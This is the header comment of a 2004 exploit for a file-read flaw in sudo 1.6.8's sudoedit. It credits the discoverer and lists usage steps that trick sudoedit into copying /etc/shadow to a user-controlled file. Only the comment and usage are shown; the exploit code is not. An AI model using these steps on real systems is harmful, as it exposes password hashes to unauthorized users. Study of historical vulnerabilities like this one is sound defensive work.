/* Copyright © Rosiello Security 2004 http://www.rosiello.org sudoedit Exploit SOFTWARE : sudoedit REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html DATE: 18/09/2004 Summary: A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable. Sudo versions affected: 1.6.8 only Credit: Reznic Valery discovered the problem. ----------------------------------------------------------- All the information that you can find in this software were published for educational and didactic purpose only.

How do I use this code ? To exploit sudoedit you have to open with it the file "rosiello" as shown in the example. EXAMPLE SCENARIO: 1) Open two shells (i) and (ii); 2) (i)$sudoedit rosiello; 3) (ii)$./sudoedit-exploit /etc/shadow; 4) (i) close sudoedit. The file "rosiello" is now a copy of "/etc/shadow".
